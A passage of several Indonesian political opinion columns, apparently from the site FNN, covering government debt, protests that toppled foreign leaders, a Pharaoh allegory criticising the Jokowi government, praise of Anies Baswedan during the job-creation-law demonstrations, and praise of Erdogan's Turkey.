(wasatiyah) menjadi pilihan, bahkan karakter kehidupan bernegara dan berbangsa kita. Semua itu tentunya terpatri dalam konsep Pancasila yang secara filsafat menyatukan nilai-nilai agama dan nilai-nilai kebangsaan. Harapan kita, tentunya pemahaman imbang (tawazun) atau moderat (wasatiyah) harus dipertahankan secara konsisten. Bahwa pemerintah punya hak untuk mengelolah negara berdasarkan pertimbangan-pertimbangannya. Tetapi disisi lain, rakyat punya hak, bahkan sekali lagi pada tataran tertentu menjadi kewajiban sebagai amar ma’ruf nahi mungkar, untuk melakukan koreksi kepada kekuasaan. Pada saat rakyat mengambil hak atau melakukan kewajiban koreksi kekuasaan inilah, maka seringkali kemudian pemerintah teruji dalam konsistensi demokrasinya. Apakah siap untuk dikoreksi sebagai konsekwensi paham demokrasi yang dibanggakan itu? Atau sebaliknya, justeru alergi terhadap kritikan lalu melakukan reaksi yang justeru antitesi terhadap konsep demokrasi itu. Kritikan atau koreksi masyarakat dianggap ancaman, lalu terjadi kriminalisasi kepada rakyat. Kalau itu terjadi, sesungguhnya telah terjadi kemunafikan yang nyata atas nama demokrasi itu sendiri. Semoga saja tidak! Penulis adalah Presiden Nusantara Foundation.

Pendapatan Pemerintah Cekak, Utang Segunung

by Salamuddin Daeng Jakarta FNN – Ahad (18/10). Utang luar negeri dibagi dalam utang pemerintah, dan swasta. Kedua duanya hampir sama besarnya. Sekarang keduanya menghadapi masalah besar, yakni kesulitan untuk membayar kembali utang. Mengapa bisa demikian? Ini dikarenakan pertumbuhan ekonomi yang menurun. Sementara utang bergerak ke arah yang sebaliknya. Jumlahnya semakin meningkat. Padahal kesulitan ekonomi yang dihadapi pemerintah ditutup kembali dengan utang. Kemana uang utang ini selama ini mengalir? Dalam logika yang dibangun para intelektual, bahwa utang luar negeri merupakan cara untuk meningkatkan pendapatan suatu negara. Mereka mengklaim ada korelasi antara peningkatan utang dengan peningkatan pendapatan. Ada logika bahwa makin tinggi utang, maka makin tinggi pendapatan. Apa itu pendapatan? Pendapatan suatu negara diukur dengan indikator Produk Domestik Bruto (PDB). Indonsia adalah negara dalam kelompok G-20 atau negara dengan GDP terbesar di dunia. Namun setelah dibagi dengan jumlah penduduk menjadi GDP perkapita, maka Indonesia menjadi negara G-20 dengan GDP perkapita yang rendah. Bahkan di ASEAN sekalipun. Kemana Uang Utang Mengalir? Utang luar megeri swasta tentu mengalir ke kantong kantong swasta. Perusahaan swasta Indonesia utangnya sangat besar dibandingkan skala ekonomi mereka. Termasuk juga BUMN. Umumnya mereka memiliki utang yang sangat besar. Sementara bisnis mereka tidak merangkak naik. Segitu gitu saja. Nah pertanyaan muncul. Kemana uang utang luar negeri pemerintah dan BUMN mengalir selama ini? Mengapa pendapatan masayarakat tidak merangkak naik, atau tidak berkorelasi positif dengan kenaikan utang pemerintah dan BUMN? Utang pemerintah jelas dialirkan kepada proyek-proyek pemerintah. Dengan demikian, utang pemerintah mengalir ke kantong kantong swasta dalam negeri. Demikian juga dengan utang BUMN, yang mengalir ke proyek-proyek BUMN yang dikerjakan oleh swasta dalam negeri. Itulah mengapa utang pemerintah dan BUMN juga untuk swasta. Dalam lima tahun terakhir, terjadi peningkatan besar dalam utang luar negeri pemerintah. Sementara utang luar negeri swasta relatif stagnan. Penurunan harga komoditas dan penurunan permintaan global merupakan salah satu penyebab swasta sulit dapat utang. Akibatnya, swata bersandar penuh pada utang pemerintah dan BUMN. Proyek-proyek pemerintah dan BUMN yang dibiayai dengan utang, telah menjadi andalan swasta untuk dapat survive. Tanpa proyek-proyek pemerintah, maka mustahil swasta Indoneaia masih bisa bertahan sampai hari ini. Akibatnya, utang pemerintah meningkat dengan sangat cepat karena harus membiayai dan mempertahankan bisnis swasta yang terancam gulung tikar. Gunung Es Utang Pemerintah Untuk memompa ekonomi yang tengah lesu dalam lima tahun terakhir, terhitung sejak penurunan harga komoditas, pemerintah berusaha memompa. Caranya dengan merancang berbagai mega proyek yang semuanya dibiayai dengan utang. Maka dirancanglah 14 paket kebijakan ekonomi, untuk mendukung mega proyek ketenagalistrikan 35 ribu megawatt, mega proyek tol, jalan, jembatan, bendungan dan lain sebagainya. Mega proyek kilang minyak, smelterisas, hingga peoperti melalui reklamasi dan ibukota baru. Memang semua proyek proyek itu relatif tidak rampung, atau boleh dikatakan gagal. Namun utang pemerintah dan BUMN terus meningkat. Terutama yang bersumber dari dalam Negeri. Pada saat mega proyek itu semua dirancang, tampaknya memang sudah mengincar dana dana masyarakat yang ada di dalam negeri, di bank dan di lembaga keuangan dalam negeri. Digunakanlah sebagian besar dana masyarakat untuk mendukung mega proyek tersebut. Dana-dana ini berasal dari dana haji, dana Jamsostek, dan Taspen, Dana Asabri, Dana Pensiun di perusahaan asuransi, dan lain-lian yang digunakan oleh pemerintah untuk mega proyek infrastruktur tersebut. Belakangan ini pemerintah memberanikan diri menggunakan dana tabungan masyarakat di bank untuk membiayai APBN. Melalui Perpu Nomor 1/2020 dan selanjutnya disyahkan melalui UU Nomor 2/2020, pemerintah memakai dana bank yang ada di BI untuk membiayai APBN. Pemerintah menyebut sebagai Quantitative Easing (QE). Caranya, dengan meminta Bank Indonesia (BI) membeli surat utang negara secara langsung melalui pasar perdana. Program ini sebetulnya sama dengan BLBI. Kalau BLBI, dana untuk suntik bank dari BI. Kalau yang ini dana untuk suntik APBN dari BI. Nanti dana dana ini akan dipake oleh pemerintah untuk menyuntik swasta dan BUMN. Akibatnya utang pemerintah meningkat, dan semakin menggunung. Baik yang bersumber dari luar negeri maupun utang pemerintah kepada masyarakat, pensiunan, jamaah haji, nasabah asuransi dan nasabah bank. Entah bagaimana cara pemerintan nanti dapat membayarnya. Apalagi dalam skema ekonomi covid, Indonesia tampaknya akan terpuruk, karena tidak ada persiapan yang memadai menghadapi era digitalisais dan online yang merupakan tools ekonomi saat ini. Pendapatan Pemerintah Rendah Mega proyek swasta yang dibiayai pemerintah ini tidak banyak menghasilkan multiflier efek terhadap ekononomi. Proyek yang dibiayai dengan utang ini umumnya ditopang oleh barang barang impor. Bahan baku impor. Besi baja, paku, kawat impor, dan mesin mesin impor. Bahkan tenaga kerja pun impor. Proyek-proyek yang dibiayai dengan utang tidak banyak menciptakan kesempatan berusaha bagi Usaha Menengah, Kecil an Mikro ( UMKM). Apalagi dalam menopang pertanian, perikanan dan sektor primer lainnya. Ueuntungan yang diperoleh swasta dan BUMN atas proyek proyek yang dibiayai APBN ini habis untuk membayar utang utang mereka. Tidak ada yang berputar menjadi darah ekonomi dalam negeri. Bahkan belakangan ini, suntikan dana pemerintan kepada swasta swasta habis untuk menopang utang utang swasta yang besar. Jadi utang pemerintah ke luar negeri dan ke masyarakat tidak dapat menjadi instrumen dalam menggairahkan ekonomi kembali. Inilah yang disebut dengan jerat atau perangkap utang yang membuat ekonomi Indonesia tidak bisa kemana mana. Indonesia tetap sebagai negara berpendapatan rendah dan tidak bisa bayar utangnya. Sekarang siapa bisa tolong? Swasta dan BUMN tak mungkin selamat tanpa pertolongan pemerintah. Sementara pemerintah untuk menolong dirinya sendiri belum tentu bisa ? Dari mana uangnya ? Penulis adalah Peniliti Asosiasi Ekonomi dan Politik Indonesia (AEPI).

Bisakah Presiden Terguling?

by Asyari Usman Jakarta FNN - Sabtu (17/10). Jawaban untuk pertanyaan di judul tulisan ini ialah: sangat bisa. Ada berbagai alasan yang menyebabkan presiden terguling. Dan juga perdana menteri. Rakyat menuntut penyingkiran pemerintah-pemerintah yang korup. Mereka juga menuntut taraf hidup yang lebih baik dan kebebasan yang lebih besar. Itulah yang terjadi di Kyrgyzstan, dua hari lalu. Dan di Bolivia, Aljazair, Lebanon, Irak dan Sudan sepanjang 2019. Sedangkan di Chile dan Ekuador, rakyat berhasil mendapatkan konsesi dari pemerintah mereka. Dua hari lalu, Kamis (15/10/2020), presiden Republik Kyrgyzstan, Sooronbay Jeenbekov, meletakkan jabatan. Dia akhirnya terguling. Dia memilih mundur ketimbang melihat pertumpahan darah. Presiden Jeenbekov menghadapi aksi ptotes besar selama berhari-hari. Penyebabnya adalah pilpres 4 Oktober 2020. Jeenbekov dinyatakan menang. Pihak lawan menuduh Jeenbekov menang karena membeli suara. Hasil ini kemudian dibatalkan. Tetapi, suasana tegang tak mereda. Akhirnya, dia memutuskan untuk mundur. Pidato pengunduran diri Jeenbekov luar biasa hebat. “Saya tidak akan berkeras mempertahankan kekuasaan. Saya tidak ingin tercatat dalam sejarah Kyrgyzstan sebagai presiden yang membiarkan pertumpahan darah.” Sepanjang 2019, ada sekian banyak presiden dan perdana menteri yang digulingkan rakyat. Evo Morales di Bolivia dipaksa mundur dari kursi presiden, 10 November 2019. Dia dituduh curang dalam pemilihan umum. Coba Anda perhatikan. Tuduhan pemilu curang di Bolivia bisa menyulut aksi unjuk rasa yang akhirnya membuat Presiden Morales terguling. Saad al-Hariri, perdana menteri (PM) Lebanon, dipaksa mundur setelah berlangsung aksi protes jalanan di seluruh pelosok negara, Oktober 2019. Rakyat menuduh elit penguasa melakukan korupsi sistemik dan meluas di tengah krisis ekonomi yang menghimpit negara itu. Hebatnya rakyat Lebanon, mereka menolak calon perdana menteri, Hassan Diab, yang diajukan Presiden Michel Aoun. Demo besar terus berlangsung. Tanpa henti. Di Beirut dan juga kota-kota lain. Massa demo menolak Diab karena mereka menganggap guru besar (profesor) itu sebagai bagian dari elit korup. Di Irak, PM Adel Abdul Mahdi mundur November 2019. Dia menghadapi tekanan berat dari aksi protes besar yang melumpuhkan Irak sejak 1 Oktober 2019. Warga menuntut reformasi total. Sebab, sistem yang berlaku sangat korup. Yang membuat sebagian besar rakyat Irak dilanda kemiskinan. Lebih 450 orang tewas dan 20,000 luka-luka sejak demo panjang itu dimulai. Namun, warga tidak surut. Ketika akan diumumkan penjabat (Plt) PM, rakyat kembali turun ke jalan. Mereka bertekad untuk memastikan agar orang-orang korup tidak kembali berkuasa. Tekanan kuat rakyat membuat Presiden Barham Salih menolak untuk mengangkat figur partai yang didukung Iran sebagai PM. Presiden Salih menegaskan dia akan memilih mundur ketimbang mengangkat orang yang ditolak rakyat. Salih akhirnya mengambil sikap memihak ke rakyat. Rakyat benar-benar berdaulat di Irak. Mereka mampu menekan pemerintah. Tidak ada satu pun yang tampil ngawur untuk mendukung tokoh yang ngawur. Persinggahan berikutnya adalah Aljazair di Afrika utara. Di sini, Presiden Abdelaziz Bouteflika mengundurkan diri pada 2 April 2019. Dia meletakkan jabatan setelah KSAD Jenderal Ahmed Gaid Salah menuntut agar Bouteflika dinyatakan tidak sehat dan harus segera turun. Aksi protes luas berkobar pertengahan Februari 2019. Penyulutnya adalah pengumuman Bouteflika bahwa dia akan ikut pilpers untuk masa jabatan ke-5. Tapi, karena tekanan aksi demo besar-besaran, akhirnya presiden yang berusia 82 tahun itu meletakkan jabatan. Penyingkiran Bouteflika dari kursi presiden tidak membuat rakyat Aljazair berhenti melancarkan demo jalanan. Banyak warga yang menganggap pemerintah tak becus, korup, dan tidak mampu mengelola perekonomian yang sedang dianda krisis berat. Rakyat kompak mengawal tuntutan penyingkiran elit korup. Rakyat Aljazair betul-betul sadar bahwa elit korup dan sistem yang busuk harus diamputasi. Jangan sampai berkelanjutan. Namun, rakyat paham juga bahwa proses demokrasi harus tetap dilaksanakan. Tapi, ketika pemerintah melaksanakan pilpres pada 12 Desember 2019, lebih 60% warga memboikot. Hanya saja, secara konstitusional Abdelmadjid Tebboune menang pilpres. Rakyat menolak. Karena dia pernah duduk sebagai PM di bawah Presiden Bouteflika. Aksi unjuk rasa yang menuntut perubahan di Aljazair berlangsung selama delapan bulan, non-stop. Selanjutnya, Sudan. Presiden yang berkuasa cukup lama, Omar al-Bashir, berhasil ditumbangkan lewat unjuk rasa yang dimulai Desember 2018 hingga April 2019. Bashir duduk sebagai presiden selama 30 tahun. Dahsyatnya rakyat Sudan, unjuk rasa yang kerap rusuh itu masih berlanjut selama berbulan-bulan berikutnya. Berlangsung lama setelah Bashir digulingkan. Rakyat Sudan melakukan demo berkepanjangan itu karena mereka berkesimpulan bahwa mata rantai kekuasaan otoriter harus diputus. Jangan sampai dilanjutkan lagi oleh sisa-sisa rezim korup dan penindas. Omar al-Bashir diajukan ke pengadilan dengan sejumlah dakwaan korupsi. Pada 14 Desember 2019, dia dijatuhi hukuman penjara dua tahun. Perlawanan sipil juga terjadi di bagian lain dunia. Pada saat rakyat Bolivia melancarkan unjuk rasa panjang yang berakhir dengan penggulingan Evo Morales, di Ekuador aksi demo berlangsung berminggu-minggu oleh warga pribumi. Demo panjang ini memaksa Presiden Lenin Moreno mencabut Keppres yang menaikkan harga BBM. Kerusuhan di Chile mendorong pemerintah mengeluarkan paket ekonomi jutaan dollar. Sedangkan di Kolombia, Presiden Ivan Duque tak bisa duduk tenang karena menghadapi aksi protes massa dan mogok kerja. Rakyat Kolombia menentang kebijakan ekonomi dan juga korupsi yang meluas. Itulah antara lain catatan tentang perlawanan sipil terhadap kezoliman pemerintah. Dari berbagai pengalaman empiris di atas bisa disimpulkan bahwa aksi demo besar dan berlangsung panjang bisa menggulingkan presiden atau perdana menteri. Penulis adalah Wartawan Senior FNN.co.id

Fir’aun Menuduh Musa Alaihi Salam Penyebar Hoaks

by M Rizal Fadillah Jakarta FNN – Sabtu (17/10). Musuh Fir'aun bukan Musa Alaihi Salam. Sebab Musa Alaihi Salam tidak sekuasa seperti Fir'aun yang serba punya kekuasaan. Dimulai dari tentara, dana, ahli infrasruktur, hingga paranormal yang hebast-hebat. Fir'aun bisa menghukum siapa saja yang dia mau. Menuduh hoaks terhadap lawan politik pun bisa saja setiap saat (QS. Al Mu'min 37). Musa Alaihi Salam saja disebut dan dituduh Fir’aun sebagai pengganti agama dan pembuat kerusakan di muka bumi (QS. Al Mu'min 26). Tuduhan Fir’aun kepada Musa Alaihi Salam sebagai penyebar hoaks, karena pesan-pesan kebenaran ilahiyah yang disampaikan Musa Alaihi Salam mengancam kekuasaan Fir’an yang menggap dirinya memiliki kebenaran mutlak. Pokoknya kalau yang dibilang penguasa Fir’aun hoaks, maka jadinya hoaks. Dengan semikian, bala Tentara dan Polisinya (penegak hukum) Fir’aun harus menangkap dan memenjarankan sertiap orang yang menyebarkan informasi yang dianggap pengeuasa Fir’aun sebagai hoaks tersebut. Semua informasi yang bertentangan dengan penguasa Fir’aun harus dianggap sebagai hoaks. Resikonya masuk penjara. Bahkan ada juga yang dibunuh. Saking tak tertandinginya Fir'aun itu, sampai-sampai menyebut dirinya sebagai "Tuhan Yang Maha Tinggi" (QS. An Nazi'at 24 ). Meskipun demikian Allah "Tuhan Yang Maha Tinggi" yang sebenarnya tetap memerintahkan Musa Alaihi Salam untuk menghadapi dan berjuang menegakkan kebenaran dan keadilan. Sebab Fir'aun telah melampaui batas (QS. Thaha 43). Fir'aun dalam ketakutan yang tinggi. Ketakutan akan turun dan kehilangan tahta. Ketakutan runtuhnya singgasana kekuasaan di tangannya. Segala bentuk oposisi harus dibasmi. Dianggap sebagai penyebar hoaks. Musa Alaihi Salam dianggap sebagai pengganggu stabilitas negeri penguasa. Fir'aun tidak takut pada Musa Alaihi Salam. Tetapi hanya takut bahwa dirinya kelak tidak berkuasa lagi. Untuk itu, Fir’aun harus membuktikan dengan kemampuan untuk menghancurkan Musa penyebar hoaks dan pengikutnya. Fatamorgana atas kehebatan Fir’aun untuk menguasai segala yang ada dihadapannya, termasuk "Jalan bebas hambatan" di samudera yang akhirnya menenggelamkannya. Nafsu berkuasa yang penuh dengan keserakahan, akan berhadapan dengan diri sendiri. Musa Alaihi Salam hanya bayangan untuk mewujudkan murkanya kepada cahaya kebanaran yang dianggapnya hoaks. Sebenanya Allah Suhanahu Wata’ala, "Tuhan Yang Maha Tinggi" sedang mempermainkan "penguasa dunia" yang bingung, bodoh dan dungu. Modelnya adalah anjing serakah yang sedang menggigit daging dan berada di atas jembatan. Merasa tertantang karena melihat ada anjing di bawah yang juga sedang menggigit daging, dan sama menyeringai. Diterkamnya anjing yang dianggapnya "oposisi". Hasilnya, byuurr masuk sungai. Tenggelam. Sama dengan raja tikus yang melihat di sungai ada tikus besar sebagai saingannya. Raja Tikus lalu melompat untuk berkelahi melawan tikus besar yang tak lain adalah bayangan dirinya sendiri. Itulah musuh terbesar yang hakekatnya sering mengalahkan keserakahan dan kebodohan penguasa. Rezim manapun termasuk Pemerintahan Jokowi bukan tandingan oposisi dengan segala unsur kekuatan dan genggaman kekuasaan. Semua bisa dikendalikan. Akan tetapi bayang-bayang selalu membuatnya cemas dan takut. Konkritisasi bisa HTI, FPI, juga KAMI bahkan MUI sebagai "lawan" yang sebenarnya hanya bayangan yang dibesar-besarkan saja. Dahulu Fir'aun selalu dihantui oleh "nightmare" bahwa kekuasaannya akan jatuh. Musa Alaihi Salam dicurigai dan dituduh sebagai biang perusak negara. Mimpi buruk menjadi kenyataan ,dengan bukti kekuasaan Allah. Fir'aun terlambat menyadari dan terlambat untuk kembali. Pintu taubat sudah tak ada lagi. Mati dengan penyesalan diri yang tanpa arti. Untuk itu, wahai penguasa negeri, Presiden dan para Menteri. Jangan mengulangi perilaku Fir'aun ini. Karena tak ada kekuasaan yang tidak berganti. Hari ini jadi pejabat besok menjadi rakyat. Hari ini dihormat besok bisa habis-habisan dihujat. Taubatlah sebelum terlambat. Penulis adalah Pemerhati Politik dan Keagamaan.

Jenguk Para Korban, Anies Tunjukkan Leadershipnya

by Tony Rosyid Jakarta FNN – Jum’at (16/10). Demo ricuh. Terjadi baku hantam aparat dan demonstran. Ada kelompok ketiga yang diduga berperan sebagai pemicu kerusuhan. Memprovokasi agar aparat dan demonstran berhadap-hadapan. Terlihat dalam video yang beredar, terjadi tindakan anarkis sejumlah pihak. Fasilitas umum dirusak, termasuk milik Pemprov DKI Jakarta. Entah oleh siapa yang melakukan pengrusakan tersebut. Yang pasti, bukan para demonstran. Ada tangan-tangan jahil yang memanfaatkan ketulusan dan perjuangan para pelajar, mahasiswa dan buruh dalam demo UU Ciptaker itu. Anies hadir di tengah ketegangan itu. Lewat tengah malam, Anies datang dan berada di tengah para demonstran. Mendengarkan semua aspirasi mereka. Kehadiran Anies berhasil untuk meredam gejolak para pendemo. Menampung aspirasi dan menenangkan para demonstran. Hingga mereka pulang dengan lega dan tenang. Esoknya, dan juga hari-hari berikutnya, terjadi lagi demonstrasi. Tak berhenti, dan terus bergelombang. Bahkan hingga hari ini. Sebab, tuntutan mahasiswa, buruh, ormas Islam dan elemen umat untuk membatalkan UU Ciptaker belum dipenuhi. Beberapa demonstrasi telah memakan banyak korban. Terutama dari kalangan pelajar dan mahasiswa. Bahkan rumah warga, diantaranya di Kwitang Senen Jakarta Pusat, diserbu aparat. Gas air mata bertebaran di dalam rumah. Ibu-ibu dan anak-anak balita yang tak terlibat dan tak tahu menahu tentang demo ikut jadi sasaran tembak gas air mata itu. Pedih! Perih! Tidak saja terasa di mata, tapi juga di hati. Kantor Pelajar Islam Indonesia (PII) diserbu. Sejumlah kaca pecah dan fasilitas dirusak. Aparat masuk ke dalam kantor dan menangkap sejumlah aktifis. Darah berceceran. Diduga banyak yang terluka. Entah darah itu keluar dari tubuh pelajar, atau bahkan nungkin kepala yang robek. Belum terkonfirmasi berapa ribu persisnya jumlah pelajar dan mahasiswa yang ditangkap. Entah berapa banyak pula yang terluka. Berapa banyak pula yang terkapar di rumah sakit. Ngeri bila kita melihat penganiayaan kepada mereka di berbagai video yang beredar di medosos. Betul-betul ngeri. Nggak bisa membayangkan anak-anak itu ditonjok ramai-ramai, dipukul pakai tongkat dan ditendang sepatu aparat. Yang pasti, itu terjadi di Indonesia. Terjadi pada saat pelajar dan mahasiswa itu sedang demo. Bukan sedang curi tambang dan korupsi uang negara. Tetapi, mereka sedang demo. Situasi agak mencekam. Ada yang bilang sudah pada level 5,5. Kalau level 6, itu artinya dharurat sipil. Kalau level 7, berarti dharurat militer. Itu istilah yang dibuat standarnya oleh aparat. Intinya, sudah lumayan gawat. Di tengah banyak demonstran yang terluka dan kantor yang rusak, Anies, Gubernur DKI Jakarta, hadir. Meninjau kantor PII yang rusak. Anies juga datang ke sejumlah rumah sakit dimana banyak pelajar dan mahasiswa yang terluka. Selain datang ke rumah warga yang ibu dan bayinya terkena gas air mata. Mereka adalah warga DKI. Kejadiannya di wilayah DKI. Dan Anies adalah geburnur dan pemimpin bagi warga DKI. Sudah seharusnya Anies ambil peduli dan menunjukkan empati. Anies ingin memastikan untuk saat ini, mereka baik-baik saja Begitu mestinya seorang pemimpin bertindak dan punya sikap. Silent, nyaris tak ada beritanya. Tanpa kegaduhan kata-kata, dan sepi dari sorot kamera, Anies terus bekerja. Menjalankan tugasnya sebagai pemimpin ibu kota. Sampai disini, Anies "on the track" dengan ungkapannya: "Saya akan jawab semua kritik itu dengan kerja dan karya, bukan dengan kata-kata". Dalam banyak hal, Anies nampak berusaha membuktikan apa yang pernah diungkapannya itu. Seorang pemimpin tidak boleh lari saat warganya berada dalam masalah. Apalagi mereka terluka. Mereka anak-anak muda, pelajar maupun mahasiswa. "Anak muda itu yang punya masa depan. Mereka berhak bicara karena mereka yang rasakan konsekuensi keputusan besar di hari ini", kata Anies. Entah apa yang dirasakan Anies saat melihat kantor anak-anak PII diporak-poranda. Para aktifis pelajar ditangkap aparat di kantor mereka. Sebagian dilarikan ke rumah sakit untuk mendapatkan perawatan. Kesedihan dan keprihatinan itu jelas tersirat dalam ungkapan Anies: "Kita ini harus senang kalau ada anak-anak usia sekolah sudah ikut bicara soal-soal negara". Kalimat yang santun, tapi jelas pesannya. "Jika anak-anak bertindak salah, ya diberikan tambahan pendidikan. Bukan malah dihentikan pendidikannya", tegas Anies. Sang Gubernur jelas tak rela jika anak-anak Jakarta kehilangan pendidikannya. Nampak sekali bahwa jiwa pendidik dan leadership telah menyatu dalam diri cucu pahlawan Abdurrahman Baswedan ini. Seorang pemimpin tidak hanya harus tahu bagimana menyapa rakyatnya. Tetapi juga harus bisa memahami apa yang dirasakan dan diharapkan oleh rakyatnya. Begitulah seorang pemimpin sejati yang selama ini dinanti dan dirindukan oleh sebuah bangsa besar yang bernama Indonesia. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Revolusi Ala Erdogan Dan Harapan Umat

by Imam Shamsi Ali Dubai FNN – Jum’at (16/20). Dalam perjalanan di atas udara New York – Dubai, saya terdorong untuk menuliskan tentang seorang pemimpin Muslim yang mungkin akan menjadi salah satu yang dicatat oleh goresan tinta sejarah perjalanan kolektif keumatan kita di abad ini. Dialah Erdogan, Pemimpin Islam yang saat ini memimpin negara Turki. Tulisan ini bisa menjadi tambahan informasi bagi mereka yang mendukung, bahkan memuja Erdogan. Boleh juga bagi mereka yang biasa mengeritiknya. Bahkan boleh menjadi masukan bagi mereka yang membencinya. Kiranya dengan goresan ini dapat menambah wawasan, membuka mata, serta menyadarkan tentang siapa Erdogan yang sesungguhnya. Tak disangkal, Erdogan telah berhasil menggantikan sekularisme ala Ataturk yang anti, memusuhi, bahkan membasmi agama (Islam). Erdogan membentuk negara yang senyawa, mendukung bahkan mengembangkan agama. Erdogan tidak merubah status Turki menjadi negara Islam atau negara agama (teokrasi). Tapi berhasil melakukan perubahan mendasar dan esensi dalam sebuah negara. Disadari bahwa bukanlah sebuah kemustahilan jika suatu ketika Erdogan akan dijatuhkan oleh sebuah kudeta, seperti yang pernah gagal itu. Atau terkalahkan dalam sebuah pemilihan Presiden. Atau bahkan ketika kematian yang Allah telah tetapkan itu menjemputnya di kelak hari. Akan tetapi diakui atau tidak, hari ini Erdogan telah menyelesaikan beberapa beberapa fase revolusi besarnya. Beliau telah berhasil meletakkan fondasi bagi pembentukan negara Turki yang baru. Yang dilakukan oleh Erdogan di Turki, sesungguhnya adalah revolusi dahsyat dari sudut pandang tujuan akhir sebuah perjuangan. Bukan revolusi yang mengedepankan wacana dan retorika. Revolusi seringkali identik dengan pemberontakan rakyat atau demonstrasi-demonstrasi yang memenuhi jalan-jalan. Bahkan kadang bersifat anarkis. Tidak jarang pula harus berhadapan dengan kekuatan militer (bersenjata) sehingga terjadi pertumpahan darah. Tentu revolusi yang dimaksud bertujuan untuk menjatuhkan pemerintahan dan menggantinya dengan pemerintahan baru, yang berbeda secara politik, tatanan masyarakat maupun sistim ekonominya. Revolusi seperti itu pastinya akan melalui masa-masa sulit. Menimbulkan situasi goncangan terhadap sendi-sendi bernegara, bahkan seringkali melemahkan negara. Tidak jarang menimbulkan disintegrasi bangsa, serta membawa kepada kemunduran bahkan kehancuran dari segala capaian selama ini. Disinilah Erdogan mampu membuktikan bahwa revolusi itu tidak harus melalui semua jalan-jalan kelam itu. Tidak selamanya melalui sebuah proses pahit yang terlalu berbahaya. Proses yang jika gagal, justeru akan merusak dan menghancurkan bangsa dan negara yang tadinya diharapkan maju dan kuat. Di bawah Erdogan, Turki mengalami perubahan fantastis. Dari sebuah negara yang lemah, goyah dan hampir ambruk secara ekonomi. Bahkan sebuah negara yang berada di ambang kebangkrutannya. Namun kini Turki menjadi negara kuat, mandiri, dan kokoh tegap di tengah bangsa-bangsa maju lainnya. Semua ini bukan karena ladang gas atau minyak. Atau karena kekayaan pertambangan atau sumber alam lainnya. Namun kemajuan dan kekuatan Turki justeru pada kebangkitan ilmu pengetahuan, pemikiran dan inovasi, teknologi maupun pembangunan ekonomi secara sungguh-sungguh. Kini Turki diakui sebagai salah satu kekuatan ekonomi dunia. Ini mengantarkan Turki berada pada posisi kesembilan dari kekuatan militer dunia. Yang pada akhirnya menjadikan NATO setengah terpaksa harus menerima Turki sebagai anggotanya. Salah satu kecemerlangan Erdogan dalam politik adalah keberhasilannya mengendalikan kekuatan militer yang selama ini justeru menjadi benteng sekularisme Ataturk. Setelah berhasil mengendalikan para petinggi militer, beliau menjadi Pemimpin sejati negara Turki. Padahal selama ini pemimpin militer Turki sesungguhnya adalah Pemimpin negara itu sendiri. Erdogan berhasil melucuti keterlibatan dan kekuasaan politik militer secara menyeluruh. Itu dilakukan secara bertahap dan cantik. Dengan pendekatan yang persuasif dan halus, Erdogan berhasil menggiring tentara kembali ke baraknya. Merubah fungsi militer dari fungsi kekuasaan politik kepada fungsi pengamanan. Dari militer yang mencengkram secara politik menjadi militer yang tunduk pada Pemimpin negara yang terpilih sebagai Panglima tertinggi. Yang dilakukan Erdogan adalah perubahan revolusioner, mengingat selama ini militer Turki begitu kuat dan berpengaruh, bahkan menentukan bentuk dan arah kebijakan negara. Sekali lagi, Erdogan telah meruntuhkan Republik Ataturk secara menyeluruh, tanpa menghancurkan patung-patung Ataturk. Tanpa retorika dan emosi yang meluap untuk menggusur kekuasaan. Tetapi Erdogan menahan angin dan air mengalir kepada sekularisme Ataturk, sehingga mengalami kematian dan kemusnahan. Setelah itu tercabut satu persatu dari akar negara dan bangsa. Terjadilah perubahan itu dari sebuah negara diktator atas nama demokrasi, tanpa menghargai keragaman, dan dengan kekuasaan yang menekan kebebasan. Dengan perubahan itu, kenangan Ataturk tinggal menjadi catatan sejarah, dan masa lalu yang diingat oleh orang-orang Turki secara menyeluruh. Erdogan berhasil merubah negara Turki dari negara sekuler ala Ataturk, yang antithesis bahkan memusuhi agama, kepada negara sekuler yang senyawa dengannya. Sehingga hukum-hukum negara tetap satu arah dengan ajaran agama. Erdogan tidak memutuskan untuk mendirikan dan memimpin negara Turki di atas dasar dan hukum agama (Islam). Tapi dia berhasil menghapuskan banyak bentuk aturan yang semena-mena, dimana Islam telah menjadi korban di bawah pemerintahan sekuler Ataturk. Semua itu telah merendahkan dan menghinakan agama secara nyata. Erdogan membalik semua itu. Dimulai dari masalah akidah dan keimanan, yang berujung pada terbentuknya karakter masyarakat yang solid dalam keislaman. Tentunya melalui ketaatan ubudiyah dan syiar-syiar agama lainnya. Erdogan paham bahwa Islam lebih besar dari sekedar sebuah pemerintahan. Lebih tinggi dari sekedar perundang-undangan yang kaku. Tapi memerlukan sistim pemerintahan yang adil, yang tidak melakukan tekanan dan diskriminasi bahkan kepada lawannya. Maka ditatalah aturan-aturan itu dengan penuh kehati-hatian. Dilonggarkan segala aturan yang tadinya secara ketat menekan praktek-praktek keagamaan tanpa merubah pada tataran formalitasnya. Bahkan rumah-rumah pelacuran tidak sekaligus ditutup. Tapi pembangunan ekonomi umat diperkuat. Didukung oleh pembangunan sekolah-sekolah Islam yang dipermudah dan difasilitasi. Sehingga dengan sendirinya berbagai maksiat itu termarjinalkan. Para ateis tidak juga dikriminalkan. Yang dilakukan adalah mempermudah berdirinya sekolah-sekolah penghafal Al-Quran (Tahfidz). Seraya membuka lebar pintu-pintu segala bentuk keilmuan Islam untuk pendalaman iman dan Islam. Erdogan tidak memaksa wanita-wanita Turki untuk memakai hijab. Tapi memberikan izin kepada para wanita yang berhijab untuk masuk sekolah dan universitas-universitas. Sungguh Erdogan telah berhasil membebaskan agama (Islam) dari penjara sekularisme tanpa harus memenjarakan sekularisme itu sendiri. Menjadikan nilai-nilai dan prinsip, keyakinan dan pemikiran Islam menjadi senyawa dengan masyarakat. Sehingga pada akhirnya semangat Islam, prinsip-prinsip dan nilai-nilainya mengalir kembali dalam pori-pori negara dan bangsa Turki. Dan inilah sesungguhnya esensi sebuah revolusi dan perubahan. Semua itu terjadi tanpa setitik darah yang mengalir. Turki telha menjadi karunia Tuhan yang unik. Keindahan alam, dengan strategi geografis yang mempertemukan Asia dan Eropa, koneksinya yang mengglobal. Tentu dengan sejarah masa lalu yang mengagumkan. Harapan besar saya dan kita semoga Turki semakin kuat. Memiliki “haebah” (kharisma) yang lebih, sehingga mampu melakukan langkah kongkrit membantu menyelesaikan penderitaan Umat yang tiada di akhir di berbagai belahan dunia. Salah satunya adalah penderitaan saudara-saudara kita di Palestina. Dan lebih khusus lagi perjuangan membebaskan Kota Suci ketiga Islam (Jerusalem). Tapi apakah itu memungkinkan? Apalagi 